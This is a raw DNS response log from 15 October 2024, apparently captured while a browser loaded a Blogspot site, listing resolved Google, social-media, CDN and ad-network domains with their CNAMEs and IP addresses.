Oct 15, 2024 00:39:47.196042061 CEST	1.1.1.1	192.168.2.6	0xc35f	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:47.996087074 CEST	1.1.1.1	192.168.2.6	0x9008	No error (0)	googleads.g.doubleclick.net		142.250.185.162	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:47.996455908 CEST	1.1.1.1	192.168.2.6	0x1b43	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:48.127418041 CEST	1.1.1.1	192.168.2.6	0x2484	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.128745079 CEST	1.1.1.1	192.168.2.6	0x4468	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:48.274503946 CEST	1.1.1.1	192.168.2.6	0x791a	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.274503946 CEST	1.1.1.1	192.168.2.6	0x791a	No error (0)	blogger.l.google.com		142.250.185.105	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.282449961 CEST	1.1.1.1	192.168.2.6	0xca3f	No error (0)	glakraptaidsupi.net		139.45.197.242	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.283727884 CEST	1.1.1.1	192.168.2.6	0xdc1e	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.670125008 CEST	1.1.1.1	192.168.2.6	0xeceb	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.670125008 CEST	1.1.1.1	192.168.2.6	0xeceb	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.671564102 CEST	1.1.1.1	192.168.2.6	0xea41	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.671840906 CEST	1.1.1.1	192.168.2.6	0x8a84	No error (0)	sqsq2938.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.672548056 CEST	1.1.1.1	192.168.2.6	0x52e	No error (0)	sqsq2938.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.672548056 CEST	1.1.1.1	192.168.2.6	0x52e	No error (0)	blogspot.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.832397938 CEST	1.1.1.1	192.168.2.6	0x3a7a	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:48.832408905 CEST	1.1.1.1	192.168.2.6	0xb22f	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:49.064483881 CEST	1.1.1.1	192.168.2.6	0x861	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:49.064483881 CEST	1.1.1.1	192.168.2.6	0x861	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.064933062 CEST	1.1.1.1	192.168.2.6	0x2a09	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:49.083337069 CEST	1.1.1.1	192.168.2.6	0x3e3f	No error (0)	www.mycimalive.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:49.083765030 CEST	1.1.1.1	192.168.2.6	0xf2ab	No error (0)	www.mycimalive.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.083765030 CEST	1.1.1.1	192.168.2.6	0xf2ab	No error (0)	www.mycimalive.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.946443081 CEST	1.1.1.1	192.168.2.6	0x6ca7	No error (0)	oughoaghushouru.net		139.45.197.244	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.068003893 CEST	1.1.1.1	192.168.2.6	0x8602	No error (0)	oughoaghushouru.net		139.45.197.244	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.137867928 CEST	1.1.1.1	192.168.2.6	0xccb7	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.137867928 CEST	1.1.1.1	192.168.2.6	0xccb7	No error (0)	blogger.l.google.com		142.250.185.73	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.138390064 CEST	1.1.1.1	192.168.2.6	0x2fc1	No error (0)	1.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.138390064 CEST	1.1.1.1	192.168.2.6	0x2fc1	No error (0)	photos-ugc.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.138942957 CEST	1.1.1.1	192.168.2.6	0xc597	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.138956070 CEST	1.1.1.1	192.168.2.6	0xdd20	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.153642893 CEST	1.1.1.1	192.168.2.6	0xa51e	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.154175997 CEST	1.1.1.1	192.168.2.6	0x3b20	No error (0)	bytogeticr.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.155200005 CEST	1.1.1.1	192.168.2.6	0x6588	No error (0)	bytogeticr.com		172.67.178.81	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.155200005 CEST	1.1.1.1	192.168.2.6	0x6588	No error (0)	bytogeticr.com		104.21.17.211	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.178189993 CEST	1.1.1.1	192.168.2.6	0xcffe	No error (0)	1.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.182785034 CEST	1.1.1.1	192.168.2.6	0x239b	No error (0)	syndication.twitter.com		104.244.42.8	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.213490009 CEST	1.1.1.1	192.168.2.6	0x3d5f	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.213490009 CEST	1.1.1.1	192.168.2.6	0x3d5f	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.213490009 CEST	1.1.1.1	192.168.2.6	0x3d5f	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.213568926 CEST	1.1.1.1	192.168.2.6	0x15de	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.213568926 CEST	1.1.1.1	192.168.2.6	0x15de	No error (0)	scontent.xx.fbcdn.net		157.240.251.9	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.325426102 CEST	1.1.1.1	192.168.2.6	0xd8fb	No error (0)	www.googletagservices.com		142.250.185.98	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.437326908 CEST	1.1.1.1	192.168.2.6	0x860e	No error (0)	googleads.g.doubleclick.net		142.250.184.194	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.438239098 CEST	1.1.1.1	192.168.2.6	0x48e5	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.552050114 CEST	1.1.1.1	192.168.2.6	0xa3de	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.552066088 CEST	1.1.1.1	192.168.2.6	0xb07b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.552066088 CEST	1.1.1.1	192.168.2.6	0xb07b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.662878990 CEST	1.1.1.1	192.168.2.6	0xd009	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.662878990 CEST	1.1.1.1	192.168.2.6	0xd009	No error (0)	scontent.xx.fbcdn.net		157.240.253.1	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.663201094 CEST	1.1.1.1	192.168.2.6	0x1eca	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.663201094 CEST	1.1.1.1	192.168.2.6	0x1eca	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.663201094 CEST	1.1.1.1	192.168.2.6	0x1eca	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Oct 15, 2024 00:39:50.665524960 CEST	1.1.1.1	192.168.2.6	0x2986	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.665524960 CEST	1.1.1.1	192.168.2.6	0x2986	No error (0)	plus.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.666156054 CEST	1.1.1.1	192.168.2.6	0x8c7e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.892093897 CEST	1.1.1.1	192.168.2.6	0x475	No error (0)	platform.twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.892093897 CEST	1.1.1.1	192.168.2.6	0x475	No error (0)	platform.twitter.map.fastly.net		199.232.188.157	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.892573118 CEST	1.1.1.1	192.168.2.6	0x3ed4	No error (0)	platform.twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.942770004 CEST	1.1.1.1	192.168.2.6	0xc68f	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.949855089 CEST	1.1.1.1	192.168.2.6	0x2fa2	No error (0)	feeds.feedburner.com	www4.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.949855089 CEST	1.1.1.1	192.168.2.6	0x2fa2	No error (0)	www4.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.951864958 CEST	1.1.1.1	192.168.2.6	0xdd48	No error (0)	feeds.feedburner.com	www4.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.952013016 CEST	1.1.1.1	192.168.2.6	0xfca6	No error (0)	www.linkedin.com	cf-afd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.952013016 CEST	1.1.1.1	192.168.2.6	0xfca6	No error (0)	cf-afd.www.linkedin.com	www.linkedin.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.952488899 CEST	1.1.1.1	192.168.2.6	0x21e3	No error (0)	www.linkedin.com	cf-afd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.952488899 CEST	1.1.1.1	192.168.2.6	0x21e3	No error (0)	cf-afd.www.linkedin.com	www.linkedin.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.967731953 CEST	1.1.1.1	192.168.2.6	0xab2d	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.969347954 CEST	1.1.1.1	192.168.2.6	0xad37	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.969347954 CEST	1.1.1.1	192.168.2.6	0xad37	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972137928 CEST	1.1.1.1	192.168.2.6	0x56b4	No error (0)	feedburner.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972137928 CEST	1.1.1.1	192.168.2.6	0x56b4	No error (0)	www3.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.972188950 CEST	1.1.1.1	192.168.2.6	0x21ef	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.983455896 CEST	1.1.1.1	192.168.2.6	0xc810	No error (0)	feedburner.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:50.989193916 CEST	1.1.1.1	192.168.2.6	0x1133	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.002402067 CEST	1.1.1.1	192.168.2.6	0xe262	No error (0)	plus.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.004021883 CEST	1.1.1.1	192.168.2.6	0x3d20	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.004021883 CEST	1.1.1.1	192.168.2.6	0x3d20	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.004776001 CEST	1.1.1.1	192.168.2.6	0x7aaa	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.010179996 CEST	1.1.1.1	192.168.2.6	0x99b3	No error (0)	resources.blogblog.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.010179996 CEST	1.1.1.1	192.168.2.6	0x99b3	No error (0)	blogger.l.google.com		142.250.185.169	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.010382891 CEST	1.1.1.1	192.168.2.6	0x7910	No error (0)	resources.blogblog.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.026848078 CEST	1.1.1.1	192.168.2.6	0x87cf	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.027378082 CEST	1.1.1.1	192.168.2.6	0xa76	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.029107094 CEST	1.1.1.1	192.168.2.6	0x7095	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.029107094 CEST	1.1.1.1	192.168.2.6	0x7095	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.029495001 CEST	1.1.1.1	192.168.2.6	0x7b92	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:51.049032927 CEST	1.1.1.1	192.168.2.6	0x85ac	No error (0)	2.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.052146912 CEST	1.1.1.1	192.168.2.6	0x30e7	No error (0)	2.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.052146912 CEST	1.1.1.1	192.168.2.6	0x30e7	No error (0)	photos-ugc.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.134637117 CEST	1.1.1.1	192.168.2.6	0x9b27	No error (0)	4.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.134637117 CEST	1.1.1.1	192.168.2.6	0x9b27	No error (0)	photos-ugc.l.googleusercontent.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.134967089 CEST	1.1.1.1	192.168.2.6	0x6c21	No error (0)	4.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.158514977 CEST	1.1.1.1	192.168.2.6	0x749d	No error (0)	sr7pv7n5x.com		212.117.190.201	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.160304070 CEST	1.1.1.1	192.168.2.6	0xd232	No error (0)	yonmewon.com		139.45.197.236	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.184823990 CEST	1.1.1.1	192.168.2.6	0xbb54	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.185672045 CEST	1.1.1.1	192.168.2.6	0xe276	No error (0)	3.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.185672045 CEST	1.1.1.1	192.168.2.6	0xe276	No error (0)	photos-ugc.l.googleusercontent.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.186033010 CEST	1.1.1.1	192.168.2.6	0x9ff4	No error (0)	3.bp.blogspot.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.222834110 CEST	1.1.1.1	192.168.2.6	0x4c18	No error (0)	28.2bp.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.222834110 CEST	1.1.1.1	192.168.2.6	0x4c18	No error (0)	blogspot.l.googleusercontent.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.226651907 CEST	1.1.1.1	192.168.2.6	0xbadf	No error (0)	28.2bp.blogspot.com	blogspot.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.231039047 CEST	1.1.1.1	192.168.2.6	0x39f0	No error (0)	yonmewon.com		139.45.197.236	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.245611906 CEST	1.1.1.1	192.168.2.6	0x46c	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.783560038 CEST	1.1.1.1	192.168.2.6	0x3b76	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.783560038 CEST	1.1.1.1	192.168.2.6	0x3b76	No error (0)	blogger.l.google.com		172.217.18.105	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.784749031 CEST	1.1.1.1	192.168.2.6	0x99aa	No error (0)	www.blogger.com	blogger.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.790076971 CEST	1.1.1.1	192.168.2.6	0x3754	No error (0)	glakraptaidsupi.net		139.45.197.242	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.799645901 CEST	1.1.1.1	192.168.2.6	0xf3f0	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:51.799663067 CEST	1.1.1.1	192.168.2.6	0xed4	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:52.892227888 CEST	1.1.1.1	192.168.2.6	0x9bfe	No error (0)	raw.github.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:52.892227888 CEST	1.1.1.1	192.168.2.6	0x9bfe	No error (0)	raw.github.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:52.892227888 CEST	1.1.1.1	192.168.2.6	0x9bfe	No error (0)	raw.github.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:52.892227888 CEST	1.1.1.1	192.168.2.6	0x9bfe	No error (0)	raw.github.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		172.240.108.68	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		172.240.108.76	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		192.243.61.227	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		192.243.59.13	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		192.243.59.12	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		172.240.253.132	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		172.240.127.234	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		172.240.108.84	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		192.243.61.225	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.167541981 CEST	1.1.1.1	192.168.2.6	0x700d	No error (0)	accompanimentrealistic.com		192.243.59.20	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.325242996 CEST	1.1.1.1	192.168.2.6	0x88f5	No error (0)	oughoaghushouru.net		139.45.197.244	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.352098942 CEST	1.1.1.1	192.168.2.6	0x63a6	No error (0)	phaivusaido.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.352098942 CEST	1.1.1.1	192.168.2.6	0x63a6	No error (0)	phaivusaido.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.353842974 CEST	1.1.1.1	192.168.2.6	0x4731	No error (0)	phaivusaido.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:53.355041027 CEST	1.1.1.1	192.168.2.6	0x2998	No error (0)	bytogeticr.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:53.355165005 CEST	1.1.1.1	192.168.2.6	0xf05b	No error (0)	bytogeticr.com		172.67.178.81	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.355165005 CEST	1.1.1.1	192.168.2.6	0xf05b	No error (0)	bytogeticr.com		104.21.17.211	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.580368996 CEST	1.1.1.1	192.168.2.6	0xca27	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.580368996 CEST	1.1.1.1	192.168.2.6	0xca27	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.580368996 CEST	1.1.1.1	192.168.2.6	0xca27	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.580368996 CEST	1.1.1.1	192.168.2.6	0xca27	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:54.730326891 CEST	1.1.1.1	192.168.2.6	0xdb43	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:55.424923897 CEST	1.1.1.1	192.168.2.6	0x4cd8	No error (0)	phicmune.net		139.45.197.251	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:55.771765947 CEST	1.1.1.1	192.168.2.6	0x34a6	No error (0)	glakraptaidsupi.net		139.45.197.242	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.442017078 CEST	1.1.1.1	192.168.2.6	0x3384	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
